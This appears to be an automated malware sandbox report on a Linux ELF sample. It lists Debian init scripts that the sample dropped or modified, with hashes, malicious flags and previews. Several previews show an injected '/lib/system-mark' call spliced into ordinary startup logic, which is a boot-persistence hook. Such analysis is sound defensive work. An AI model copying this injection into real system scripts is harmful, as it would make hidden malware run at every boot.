Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: gdm3.# Should-Start: console-screen dbus network-manager.# Required-Start: $local_fs $remote_fs.# Required-Stop: $local_fs $remote_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: GNOME Display Manager.# Description: Debian init script for the GNOME Display Manager.### END INIT INFO.#.# Author: Ryan Murray <rmurray@debian.org>.#.set -e..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/gdm3.PIDFILE=/var/run/gdm3.pid..test -x $DAEMON \|\| exit 0..if [ -r /etc/default/locale ]; then./lib/system-mark. . /etc/default/locale. export LANG LANGUAGE.fi... /lib/lsb/init-functions..# To start gdm even if it is not the default display manager, change.# HEED_DEFAULT_DISPLAY_MANAGER to "false.".HEED_DEFAULT_DISPLAY_MANAGER=true.DEFAULT_DISPLAY_MANAGER_FILE=/etc/X11/default-display-manager..activate_logind() {. # Try to dbus activate logind to avoid a race conditions if we are not. # runnin

/etc/init.d/hddtemp

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3163
Entropy (8bit):	5.259424339682965
Encrypted:	false
SSDEEP:	48:ietQlU+vdYb5tM7yL7yi47yIrrF9o6YRK50JDRABzNJuhCv8Z//UZJ7iuh052m3s:FtQlTd65tp6iN0oLRsQaAsUkho2mc
MD5:	78C631FF42D0225229009886F9999B56
SHA1:	4FAEF5CD07FC43C3AE00A1D09116580664EB9158
SHA-256:	0EA1C7D35BA69FB47D9AF56AA7FEEA00CC2F0A0F1ACB5796C48D4BB95F980D9E
SHA-512:	DF5DE7A268F0FFB5C6E95A32128877AAB05EA46331471D95E97DD4A31B883D0B9DE9005EC995F37AA254BEFE27A252961FF37148BB3E7896E30373FC16F96D84
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.#.# skeleton example file to build /etc/init.d/ scripts..# This file should be used to construct scripts for /etc/init.d..#.# Written by Miquel van Smoorenburg <miquels@cistron.nl>..# Modified for Debian GNU/Linux.# by Ian Murdock <imurdock@gnu.ai.mit.edu>..#.# Version: @(#)skeleton 1.8 03-Mar-1998 miquels@cistron.nl.#..### BEGIN INIT INFO.# Provides: hddtemp.# Required-Start: $remote_fs $syslog $network.# Required-Stop: $remote_fs $syslog $network.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: disk temperature monitoring daemon.# Description: hddtemp is a disk temperature monitoring daemon.### END INIT INFO..PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.NAME=hddtemp.DAEMON=/usr/sbin/$NAME.DESC="disk temperature monitoring daemon"..DISKS="/dev/hd[a-z] /dev/hd[a-z][a-z]".DISKS="$DISKS /dev/sd[a-z] /dev/sd[a-z][a-z]".DISKS="$DISKS

/etc/init.d/hwclock.sh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3946
Entropy (8bit):	5.1522498878727045
Encrypted:	false
SSDEEP:	96:uYqy3be4txLsMwqTZL5FFTUaTfNvagXQwjdjNvaYXDkeQz:VZbxtXFZNZTfNvawxjNva4e
MD5:	40E4F04E723FB5BEE6DF2327EA35254D
SHA1:	D512EAB734F222022E210CCA19128E992691CF78
SHA-256:	EEC4726C42AA93DEB9D6228BD464ED33FB6C1FF6FFD88ECC14C603746A7C444A
SHA-512:	71D245EA40A64FDCCAAA88D869F8E929F5FA9736FB16D7079CE41184CA9DA71F40E2E6EFED8382C4350089932AAC8C588271F72FB9E5139E35FF504C65127227
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# hwclock.sh.Set and adjust the CMOS clock..#.# Version:.@(#)hwclock.sh 2.00 14-Dec-1998 miquels@cistron.nl.#.# Patches:.#..2000-01-30 Henrique M. Holschuh <hmh@rcm.org.br>.#.. - Minor cosmetic changes in an attempt to help new.#.. users notice something IS changing their clocks.#.. during startup/shutdown..#.. - Added comments to alert users of hwclock issues.#.. and discourage tampering without proper doc reading..# 2012-02-16 Roger Leigh <rleigh@debian.org>.# - Use the UTC/LOCAL setting in /etc/adjtime rather than.# the UTC setting in /etc/default/rcS. Additionally.# source /etc/default/hwclock to permit configuration...### BEGIN INIT INFO.# Provides: hwclock.# Required-Start: mountdevsubfs.# Required-Stop: mountdevsubfs.# Should-Stop: umountfs.# Default-Start: S.# X-Start-Before: checkroot.# Default-Stop: 0 6.# Short-Description: Sync hardware and system clock time..

/etc/init.d/irqbalance

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2707
Entropy (8bit):	4.995870971917478
Encrypted:	false
SSDEEP:	48:92ZPnWGmH6TMV5m11QU7BXCW3gxxsXuHtpyBMbtKxxsDKV/BkH5:92Z/WbZnm11LByWwxKXuHtcBMbtKxKDr
MD5:	E666B216857A200A89A8C38279974070
SHA1:	5184B1942742E7D4811A8BA0080BD19413306EB5
SHA-256:	3A9EF64FD98E3991ABEE18FE69ED507EE8516B5777E7B3E8BB3BC69AE997D1F8
SHA-512:	A2BC047C6034F8594B640DD5A7746AAD3F6BEAC9239AA71C00C90EB19FF37FAD38B08A5ACC0B8E1928CC447450C0A69E3FB4C8A6EF65EC584227F0E8ACF1F3D2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: irqbalance.# Required-Start: $remote_fs $syslog.# Required-Stop: $remote_fs $syslog.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: daemon to balance interrupts for SMP systems.### END INIT INFO.# irqbalance init script.# August 2003.# Eric Dorland..# Based on spamassassin init script..PATH=/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/sbin/irqbalance.NAME=irqbalance.SNAME=irqbalance.DESC="SMP IRQ Balancer".PIDFILE="/run/$NAME.pid".PNAME="irqbalance".DOPTIONS=""..# Defaults - don't touch, edit /etc/default/.OPTIONS=""..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..test -f /etc/default/irqbalance && . /etc/default/irqbalance..# Beware: irqbalance tries to read and handle environment variables.# directly itself, but since start-stop-daemon clears the env.# we convert the variables to commandline arguments here....# (Note: in the daemon an option is enabled even if its set to.# e.g. the empty strin

/etc/init.d/iscsid

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	4.972539518025109
Encrypted:	false
SSDEEP:	24:2Ex/YpMr8MICUV7OlfrDNhay+HNCNIlH3U8lrQ5l8u4uuCG:/puMAMICu7OlN+UIlH3U8lc/ZWCG
MD5:	ECC4B12F805560CED916AF27BF8423D1
SHA1:	A5954BF38D2E34AE23286D676FE6E4153CDBFF69
SHA-256:	C33D4A5025DB90ACA69F23F041F2AFB4B31F1016DF03631C6D918A4EF5E6842D
SHA-512:	CFAC2CC9451D012F8A4DACFFC6ACA4C9456FF4F0D212C419443C0939CEB0AFE1DAE59329D9F9D27413A9E6CF2E0D05775C873AE53C355C0A8A738DB07120CAD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: iscsid.# Required-Start: $network $local_fs.# Required-Stop: $network $local_fs sendsigs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: iSCSI initiator daemon (iscsid).# Description: The iSCSI initiator daemon takes care of.# monitoring iSCSI connections to targets. It is.# also the daemon providing the interface for the.# iscisadm tool to talk to when administering iSCSI.# connections..### END INIT INFO..# Author: Christian Seiler <christian@iwakd.de>..DESC="iSCSI initiator daemon".DAEMON=/sbin/iscsid.PIDFILE=/run/iscsid.pid.OMITDIR=/run/sendsigs.omit.d..do_start_prepare() {..if ! /lib/open-iscsi/startup-chec

/etc/init.d/keyboard-setup.sh

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1548
Entropy (8bit):	4.309956240738216
Encrypted:	false
SSDEEP:	48:9XfgD1yQyKzYcg/LshTJckS5MJAb8kGh5A9b6:9YQLH/w5SO
MD5:	89A7217DCF2B72ACC044B81A9CC3FC6F
SHA1:	E4E5E503268D650B4F0FE7C37DC0BD3EFA1CABC6
SHA-256:	896A6EAFC64047CB19D6319915BD349FD3B90A8BECA8A83AB2153EEC519A59E5
SHA-512:	8E6B76171B23133C44AB7CF19DCCCE87FD0AA38F4BC0520AB6F2AFA64CA506D447C192F0B09A8584D9C2203F665E89D8D33B3EA30E53681F5BA62A1DABC1DBC6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.### BEGIN INIT INFO.# Provides: keyboard-setup.sh.# Required-Start: mountkernfs.# Required-Stop:.# X-Start-Before: checkroot.# Default-Start: S.# Default-Stop:.# X-Interactive: true.# Short-Description: Set the console keyboard layout.# Description: Set the console keyboard as early as possible.# so during the file systems checks the administrator.# can interact. At this stage of the boot process.# only the ASCII symbols are supported..### END INIT INFO..if [ -f /bin/setupcon ]; then./lib/system-mark. case "$1" in. stop\|status). # console-setup isn't a daemon. ;;. start\|force-reload\|restart\|reload). if [ -f /lib/lsb/init-functions ]; then./lib/system-mark. . /lib/lsb/init-functions. else. log_action_begin_msg () {.. echo -n "$@... ". }.. log_action_end_msg () {..

/etc/init.d/kmod

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2164
Entropy (8bit):	4.907145181173842
Encrypted:	false
SSDEEP:	24:+mUxLADBzBQYDMAKjqg3Ulfb4MZC/tCYJGMsMHwDa1kig/ue5NrGgbcl8d:l/dtQYxKjRQfbO/oYJbJQAki6jzz
MD5:	0B192EEF5B7E6AE9C89B8E127943E04C
SHA1:	6F6B5F63D1F504524C5C27849353255A6EDEA52E
SHA-256:	D43E4D15B82D9D85BEF6B2B676506AED1B7FC3C50232BFB7BFE1D0202C83DCA3
SHA-512:	860ACA2D19758EAA6FD8C3D0552674842916C4F853A6739932A9E66B68582E5359AD91EE4F27443992ACCA380BFC33C2178BCAA21B93A812916CB228B831BA82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh -e.### BEGIN INIT INFO.# Provides: kmod.# Required-Start: .# Required-Stop: .# Should-Start: checkroot.# Should-Stop:.# Default-Start: S.# Default-Stop:.# Short-Description: Load the modules listed in /etc/modules..# Description: Load the modules listed in /etc/modules..### END INIT INFO..# Silently exit if the kernel does not support modules..[ -f /proc/modules ] \|\| exit 0.[ -x /sbin/modprobe ] \|\| exit 0..[ -f /etc/default/rcS ] && . /etc/default/rcS.. /lib/lsb/init-functions..PATH='/sbin:/bin'..case "$1" in. start). ;;.. stop\|restart\|reload\|force-reload). log_warning_msg "Action '$1' is meaningless for this init script". exit 0. ;;.. *). log_success_msg "Usage: $0 start". exit 1.esac..load_module() {. local module args. module="$1". args="$2".. if [ "$VERBOSE" != no ]; then./lib/system-mark. log_action_msg "Loading kernel module $module". modprobe $module $args \|\| true. else. modprobe $module $args > /dev/null 2>&1 \|\| t

/etc/init.d/lightdm

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	3534
Entropy (8bit):	5.282612583353571
Encrypted:	false
SSDEEP:	48:fbmo8vyUjH3J+cNrWId4KF9wDeXxr/FI/F7R7cJ0IB6rd/g1ZsbHaXAZ4td/WzvA:d8z3J+cNiR4SzGmJHyRDuHTWld
MD5:	E6E338C277324717A5722E4EA56AA2EE
SHA1:	46334BCB354D10D0AAC47F4D542710B66D446A77
SHA-256:	5BF68D24F74EC03AE3E2D53B8F57E51C8C3CB320FE53E5D6C8F3214E25EE9C29
SHA-512:	19AF2485DB58640CFEA8E245A4E1E57624239C12B961C7218B5B50FB880985D4275862F0F8FA805D004314844B791E8F2FE248A7797FF4D5082A892E34126DE9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..# Largely adapted from xdm's init script:.# Copyright 1998-2002, 2004, 2005 Branden Robinson <branden@debian.org>..# Copyright 2006 Eugene Konev <ejka@imfi.kspu.ru>.#.# This is free software; you may redistribute it and/or modify.# it under the terms of the GNU General Public License as.# published by the Free Software Foundation; either version 2,.# or (at your option) any later version..#.# This is distributed in the hope that it will be useful, but.# WITHOUT ANY WARRANTY; without even the implied warranty of.# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the.# GNU General Public License for more details..#.# You should have received a copy of the GNU General Public License with.# the Debian operating system, in /usr/share/common-licenses/GPL; if.# not, write to the Free Software Foundation, Inc., 51 Franklin Street, .# Fifth Floor, Boston, MA 02110-1301, USA...### BEGIN INIT INFO.# Provides: lightdm.# Required-Start: $local_fs $remote_fs dbus.# R

/etc/init.d/lm-sensors

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	901
Entropy (8bit):	5.1022129052660485
Encrypted:	false
SSDEEP:	12:1CpBMHQHf7Wc9rlVYhRwDyh0QvsFoiXmH0+QhKDydO6aock1j6yLRujvljn:1i4WyM/IwfJ2Hjq13O
MD5:	46FB137F6F75999F794FDB149BCAD53B
SHA1:	90F88FB0972A25A2BBEA62DB26EA84ED9CFC036D
SHA-256:	D661181FDD70CE80EF52393D7A58D33009CAE7ED2EB62C764C4CAC0181DD7E76
SHA-512:	C360EB8E5FD3E7A7740D6AE395DB430811306C176C9E3FEA975E76B6474533A30F709155A81F007E29DC61AE2200445CCD79F08139998BA575115F7CE45340CC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides: lm-sensors.# Required-Start: $remote_fs.# Required-Stop:.# Default-Start: S.# Default-Stop:.# Short-Description: lm-sensors.# Description: hardware health monitoring.### END INIT INFO... /lib/lsb/init-functions..[ -f /etc/default/rcS ] && . /etc/default/rcS.PATH=/bin:/usr/bin:/sbin:/usr/sbin.PROGRAM=/usr/bin/sensors..test -x $PROGRAM \|\| exit 0..case "$1" in. start)..log_action_begin_msg "Setting sensors limits"..if [ "$VERBOSE" = "no" ]; then./lib/system-mark.../usr/bin/sensors -s 1> /dev/null 2> /dev/null.../usr/bin/sensors 1> /dev/null 2> /dev/null..else.../usr/bin/sensors -s.../usr/bin/sensors > /dev/null..fi..log_action_end_msg 0..;;. stop)..;;. force-reload\|restart)..$0 start..;;. status)..exit 0..;;. *)..log_success_msg "Usage: /etc/init.d/lm-sensors {start\|stop\|restart\|force-reload\|status}"..exit 1.esac..exit 0..

/etc/init.d/lvm2-lvmpolld

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	604
Entropy (8bit):	5.314197695143652
Encrypted:	false
SSDEEP:	12:wdRDNeBuYrBMmCU33VLBa5kI5GKq9XquaZ+w2Cj/:2Ex/lti9OXylj/
MD5:	273FB590FE7F5DAE000DC871BC5418DB
SHA1:	90575E32A398270FC2D10448A454646B84F3B257
SHA-256:	D9EDBDDD0D0151FDC741B4C0B8F6910DC01D9A6F2F2CBE5705297E4B27EE9C0F
SHA-512:	62B1896678941476EF1DF756AC16B136F0FDB1E86A53A8DC17340BDF03504BC7C54A8E04807B692A9F15A7904CE6E0087D3F6373C2CF1F6807444B36E45ABDCB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh.# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing..if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then./lib/system-mark. set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script.fi.### BEGIN INIT INFO.# Provides: lvm2-lvmpolld.# Required-Start: $local_fs.# Required-Stop: $local_fs.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: LVM2 poll daemon.### END INIT INFO..DESC="LVM2 poll daemon".DAEMON=/sbin/lvmpolld.DAEMON_ARGS="-t 60".PIDFILE=/run/lvmpolld.pid..do_start_prepare() {. mkdir -m 0700 -p /run/lvm.}..

/etc/init.d/mono-xsp4

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2518
Entropy (8bit):	5.325203715837751
Encrypted:	false
SSDEEP:	48:7HvaUX9Q3esRt33P4AWNr/42Fwk0qmA40O4pTjmCjVwUH:7PaUX0eSt3/VczgWBbjmCjVwS
MD5:	0DBC33D8B96CA2A841D1A83960BDF389
SHA1:	BDC86C7897C467A42075B2C80A1CAEDCCA794F76
SHA-256:	631AD4D36C691EBC1AADD6006C597B64A69F4AF1F6AA2455A8F4F2563F11F13D
SHA-512:	F6320E3BD73BC5AFFD6C3D13832F836CE81323C0A059D26C9294A65C3DA7B3A394BC5A20C6B07244F48499BB5B8E3A7869A7E48FAF916CEABC495B8D281BDB8F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: mono-xsp4.# Required-Start: $remote_fs.# Required-Stop: $remote_fs.# Should-Start: .# Should-Stop:.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: Mono XSP4.# Description: Debian init script for Mono XSP4..### END INIT INFO.#.# Written by Pablo Fischer <pablo@pablo.com.mx>.# Dylan R. E. Moonfire <debian@mfgames.com>.# Modified for Debian GNU/Linux.#.# Version:.@(#)mono-xsp4 pablo@pablo.com.mx.#..# Variables.PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin.DAEMON=/usr/bin/xsp4.NAME=mono-xsp4.DESC="XSP 4.0 WebServer".DEFAULT=/etc/default/$NAME.CFGDIR=/etc/xsp4.VIRTUALFILE=$CFGDIR/debian.webapp.MONO_SHARED_DIR=/var/run/$NAME.start_boot=false..# Use LSB.. /lib/lsb/init-functions..# If we don't have the basics, don't bother.test -x $DAEMON \|\| exit 0.test -f $DEFAULT && . $DEFAULT...if [ "x$start_boot" != "xtrue" ] ; then./lib/system-mark. exit 0.fi..if [ ! -e $MO

/etc/init.d/multipath-tools

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2964
Entropy (8bit):	5.31314714541473
Encrypted:	false
SSDEEP:	48:7HUksR9JrtNCDCJ99TaPn1PCDCJ99TafOBUV1kqH2fQuzfg61U149eh7KKSKMs:7HUkwbrSDu+Pn1qDu+2qV1RHSQuzA4I5
MD5:	54E61FBA1E794A3A95B4FA31099CEB2F
SHA1:	4036B83019BAE7A2D843C13C52AA91A86C4D4CA4
SHA-256:	BAEC2D4F6968AE735457DE716EB7E880C03C410A53A1C19563C258D78852874E
SHA-512:	6AC88EF6CDE8A2D98ED14A879CEDD04B263F252C0A03E93FBF5F6B50AF5416BDD3BAC231E43C98BA5DF0043703D67F1852D9159672B43D5D5EC0EC61BA431688
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: multipath-tools.# Required-Start: udev $local_fs $remote_fs $syslog.# Required-Stop: udev $local_fs $remote_fs $syslog.# Should-Start: iscsi.# Should-Stop: iscsi.# Default-Start: 2 3 4 5.# Default-Stop: 0 1 6.# Short-Description: multipath daemon.# Description:.### END INIT INFO..PATH=/sbin:/bin:/usr/sbin/:/usr/bin.DAEMON=/sbin/multipathd.NAME=multipathd.DESC="multipath daemon".syspath=/sys/block..test -x $DAEMON \|\| exit 0... /lib/lsb/init-functions..if [ -f /etc/default/multipath-tools ] ; then./lib/system-mark... /etc/default/multipath-tools.fi..teardown_slaves().{.cd $1; .if [ -d "slaves" ]; then./lib/system-mark.for slave in slaves/;.do..if [ "$slave" = "slaves/" ]; then./lib/system-mark...read dev < $1/dev...tablename=$(dmsetup table --target multipath \| sed -n "s/$.$: . $dev .*/\1/p")...if ! [ -z $tablename ]; then./lib/system-mark....log_daemon_msg "Root is on a multipathed device, multipathd c

/etc/init.d/open-iscsi

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	2589
Entropy (8bit):	5.112756814918559
Encrypted:	false
SSDEEP:	48:7UMRMrEm3cy8Nc8NgZlfMMtWBAl3ATeTPAdWIlRdWdtRMg02AC9ArANTcAhicF:7b2rH338azZlfn/lwA4dWIhC8DUbL
MD5:	207481F279E4D4E87E2455C16287C685
SHA1:	1CC3B8B32EE2BCD5342F38B66C936C4EC18897F4
SHA-256:	225B755072D5C433DE74DE26633834FF05A6956053557F1B3F634AE08752C6BF
SHA-512:	E494C2A33928070E2E1BACA3AE53814986AC7C9CEB3B4D31CAE0C0202AC2BEE98CF65A196387FAA7EED560B6AC6665EE6D3C77630167ADFDBF82C99FE3F65B14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#! /bin/sh.### BEGIN INIT INFO.# Provides: open-iscsi iscsi.# Required-Start: $network $local_fs iscsid.# Required-Stop: $network $local_fs iscsid sendsigs.# Default-Start: S.# Default-Stop: 0 1 6.# Short-Description: Login to default iSCSI targets.# Description: Login to default iSCSI targets at boot and log out.# of all iSCSI targets at shutdown..### END INIT INFO..PATH=/sbin:/bin.DAEMON=/sbin/iscsid.ADM=/sbin/iscsiadm.PIDFILE=/run/iscsid.pid.NAMEFILE=/etc/iscsi/initiatorname.iscsi.CONFIGFILE=/etc/iscsi/iscsid.conf.OMITDIR=/run/sendsigs.omit.d..[ -x "$DAEMON" ] \|\| exit 0... /lib/lsb/init-functions..# Include defaults if available.if [ -f /etc/default/open-iscsi ]; then./lib/system-mark... /etc/default/open-iscsi.fi...if [ ! -d /sys/class/ ]; then./lib/system-mark. log_failure_msg "iSCSI requires a mounted sysfs, not started.". exit 0.fi..RETVAL=0..start() {..if ! [ -s $PIDFILE ] \|\| ! kill -0 `sed -n 1p $PIDFILE` >/dev/null ; then./l

/etc/init.d/open-vm-tools

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	4.863837327437562
Encrypted:	false
SSDEEP:	48:1a/f0aOHh86/X/QA4pWh8FgM8QhmMl8FkgPooG2DKYUP:1a/f0aOB86j4e8j8Q8Ml8OmooG2D3k
MD5:	CE0C8A7E1042C39FB28FEE6981E2ACE4
SHA1:	C7B193DB855B637F7011A28928DE2E0A5796B825
SHA-256:	32735889841F4B203B9C06278D9A178D08AF5288474F475A31F0AC2669C1DD56
SHA-512:	1B676B9B1CB75C48D5B4EE6D34E402A6B99C4CECA8B261177396C13E63323A5C6A9F62B556FFAB110C25B9066D4253E9C0ACB1D3DA790ECD70426DD9A0AA46C1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..open-vm-tools.# Required-Start:.$local_fs $remote_fs.# Required-Stop:.$local_fs $remote_fs.# X-Start-Before:.# X-Stop-After:.# Default-Start:.2 3 4 5.# Default-Stop:..0 1 6.# Description:..Runs the open-vm-tools services.# Short-Description:.Runs the open-vm-tools services.### END INIT INFO... /lib/lsb/init-functions..exit_if_not_in_vm () {. if which systemd-detect-virt 1>/dev/null; then./lib/system-mark. checktool='systemd-detect-virt'. else. checktool='vmware-checkvm'. fi.. if ! ${checktool} \| grep -iq vmware; then./lib/system-mark. echo "open-vm-tools: not starting as this is not a VMware VM". exit 0. fi.}..case "${1}" in. start). # Check if we're running inside VMWare. exit_if_not_in_vm.. log_daemon_msg "Starting open-vm daemon" "vmtoolsd". start-stop-daemon --start --quiet --pidfile /var/run/vmtoolsd.pid --exec /usr/bin/vmtoolsd --test > /dev/null \|\| exit 1.

/etc/init.d/plymouth

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	1401
Entropy (8bit):	5.3052027136710675
Encrypted:	false
SSDEEP:	24:1sqE3A2EYVwMwRwDTMBgV2APfcVwAPYIpPgfS+VGgEIT8YojAf5XERmgLGmgOS/F:1sl3AhYG7RgzQAsVwAgGYfdVz58Y9f5v
MD5:	2B23E2A5868129F5B68D4465E1FBA27A
SHA1:	8781CE140244ABA8178CCC20B50AB3C252D82A1F
SHA-256:	5D49F02BB6C8C031EA02F67ABFB812EB75425058AD30F44FAB85A9463D2DB1CC
SHA-512:	8DBA742FB4B66C0799E66FA5E070161E2EDBA95A0789A06F51910D659F51E6313D32072078A44B7D2A46CD18B63036F07FBFBD8AEF90843643860424FED398D4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..plymouth.# Required-Start:.udev $remote_fs $all.# Required-Stop:.$remote_fs.# Should-Start:..$x-display-manager.# Should-Stop:..$x-display-manager.# Default-Start:.2 3 4 5.# Default-Stop:..0 6.# Short-Description:.Stop plymouth during boot and start it on shutdown.### END INIT INFO..PATH="/sbin:/bin:/usr/sbin:/usr/bin".NAME="plymouth".DESC="Boot splash manager"..test -x /sbin/plymouthd \|\| exit 0..if [ -r "/etc/default/${NAME}" ].then./lib/system-mark... "/etc/default/${NAME}".fi... /lib/lsb/init-functions..set -e..SPLASH="true".for ARGUMENT in $(cat /proc/cmdline).do..case "${ARGUMENT}" in...splash)....SPLASH="true"....;;....nosplash\|plymouth.enable=0)....SPLASH="false"....;;..esac.done..case "${1}" in..start)...case "${SPLASH}" in....true)...../bin/plymouth quit --retain-splash.....;;...esac...;;...stop)...case "${SPLASH}" in....true).....if ! plymouth --ping.....then./lib/system-mark....../sbin/plymouthd --mode=shutdown.....fi......RUNLEV

/etc/init.d/plymouth-log

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	787
Entropy (8bit):	5.274418902272115
Encrypted:	false
SSDEEP:	12:1snBEfVmWr2lr4HhJ8PWXsbgwfGgrCR6D02ygvRiqhtcy5RujGqGRujrVgDn:1sBEf0FlwhuPBb9GgTHygvR4MLoVS
MD5:	92B74D7357C759DB635940F9DBE7A5E8
SHA1:	88C813B379F01849C7A709BF47D8C40AB2A25345
SHA-256:	DBDAB3736BE330D3CC39A75E100F6FB8D9094413A7D24CAC22A8BE39DE25D3C3
SHA-512:	405A8103CE19E154E58A9B0D26C888807F1DE5B3A98EF8C66DF31F3113542215004FD4CD9783C021ED27FEC165B4605CF6B92C141AD9E2BE4872C1D80A34B6E7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	#!/bin/sh..### BEGIN INIT INFO.# Provides:..plymouth-log.# Required-Start:.$local_fs $remote_fs.# Required-Stop:.$local_fs $remote_fs.# Should-Start:.# Should-Stop:.# Default-Start:.S.# Default-Stop:.# Short-Description:.Inform plymouth that /var/log is writable.### END INIT INFO..PATH="/sbin:/bin:/usr/sbin:/usr/bin".NAME="plymouth-log".DESC="Boot splash manager (write log file)"..test -x /bin/plymouth \|\| exit 0..if [ -r "/etc/default/${NAME}" ].then./lib/system-mark... "/etc/default/${NAME}".fi... /lib/lsb/init-functions..set -e..case "${1}" in..start)...if plymouth --ping...then./lib/system-mark..../bin/plymouth update-root-fs --read-write...fi...;;...stop\|restart\|force-reload)....;;...*)...echo "Usage: ${0} {start\|stop\|restart\|force-reload}" >&2...exit 1...;;.esac..exit 0..

/etc/init.d/procps

Download File

Process:	/tmp/Xq5coKA8BI.elf
File Type:	POSIX shell script, ASCII text executable
Category:	dropped
Size (bytes):	942
Entropy (8bit):	5.25253518776668
Encrypted:	false
SSDEEP:	12:atdRDNeBuYrBMmCU3sBww+k12FsnM5ldlPSSHTm5TeQxala5tV86s+L2s4hk2z7w:aLEx/25+Z+nMfTWTeCKa3VfhL69z0
MD5:	BEA2BDFD5F7688D4F6E313DC63CA499D
SHA1:	4D6764F461EE096E83A5F5923ED8472A94526E95
SHA-256:	8D2D9E87F61D6D84EFF365927CB97A21EBFC3C9B9BDA48D13858D285AD332466
SHA-512:	932B314974F2AA88FC3E1292729F166EC1459B2951F476F9E9CFA00AC0A36B0687C3CC1BED94B968BBAAF47C3D679CFBE152DFE984E54306800FB85A16DE0F3D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
